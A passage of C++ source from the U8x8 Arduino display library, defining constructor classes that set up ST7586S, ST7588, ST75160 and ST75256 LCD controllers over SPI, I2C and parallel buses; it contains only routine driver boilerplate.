uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7586S_YMC240160_8080 : public U8X8 { public: U8X8_ST7586S_YMC240160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7588_JLX12864_4W_SW_SPI : public U8X8 { public: U8X8_ST7588_JLX12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7588_JLX12864_4W_HW_SPI : public U8X8 { public: U8X8_ST7588_JLX12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7588_JLX12864_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7588_JLX12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7588_JLX12864_3W_SW_SPI : public U8X8 { public: U8X8_ST7588_JLX12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7588_JLX12864_3W_HW_SPI : public U8X8 { public: U8X8_ST7588_JLX12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7588_JLX12864_6800 : public U8X8 { public: U8X8_ST7588_JLX12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7588_JLX12864_8080 : public U8X8 { public: U8X8_ST7588_JLX12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7588_JLX12864_SW_I2C : public U8X8 { public: U8X8_ST7588_JLX12864_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7588_JLX12864_HW_I2C : public U8X8 { public: U8X8_ST7588_JLX12864_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7588_JLX12864_2ND_HW_I2C : public U8X8 { public: U8X8_ST7588_JLX12864_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75160_JM16096_4W_SW_SPI : public U8X8 { public: U8X8_ST75160_JM16096_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75160_JM16096_4W_HW_SPI : public U8X8 { public: U8X8_ST75160_JM16096_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75160_JM16096_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75160_JM16096_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75160_JM16096_3W_SW_SPI : public U8X8 { public: U8X8_ST75160_JM16096_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75160_JM16096_3W_HW_SPI : public U8X8 { public: U8X8_ST75160_JM16096_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75160_JM16096_6800 : public U8X8 { public: U8X8_ST75160_JM16096_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75160_JM16096_8080 : public U8X8 { public: U8X8_ST75160_JM16096_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75160_JM16096_SW_I2C : public U8X8 { public: U8X8_ST75160_JM16096_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75160_JM16096_HW_I2C : public U8X8 { public: U8X8_ST75160_JM16096_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75160_JM16096_2ND_HW_I2C : public U8X8 { public: U8X8_ST75160_JM16096_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_JLX256128_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX256128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_JLX256128_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX256128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX256128_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX256128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75256_JLX256128_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_JLX256128_6800 : public U8X8 { public: U8X8_ST75256_JLX256128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX256128_8080 : public U8X8 { public: U8X8_ST75256_JLX256128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_WO256X128_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_WO256X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_WO256X128_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_WO256X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_WO256X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_WO256X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_WO256X128_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_WO256X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75256_WO256X128_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_WO256X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_WO256X128_6800 : public U8X8 { public: U8X8_ST75256_WO256X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_WO256X128_8080 : public U8X8 { public: U8X8_ST75256_WO256X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX256128_SW_I2C : public U8X8 { public: U8X8_ST75256_JLX256128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_JLX256128_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX256128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_JLX256128_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX256128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_WO256X128_SW_I2C : public U8X8 { public: U8X8_ST75256_WO256X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_WO256X128_HW_I2C : public U8X8 { public: U8X8_ST75256_WO256X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_WO256X128_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_WO256X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_JLX256160_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_JLX256160_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX256160_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX256160_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75256_JLX256160_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_JLX256160_6800 : public U8X8 { public: U8X8_ST75256_JLX256160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX256160_8080 : public U8X8 { public: U8X8_ST75256_JLX256160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX256160M_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160M_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_JLX256160M_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160M_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX256160M_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160M_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX256160M_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160M_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75256_JLX256160M_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160M_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_JLX256160M_6800 : public U8X8 { public: U8X8_ST75256_JLX256160M_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX256160M_8080 : public U8X8 { public: U8X8_ST75256_JLX256160M_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX256160_ALT_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_JLX256160_ALT_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX256160_ALT_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX256160_ALT_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, 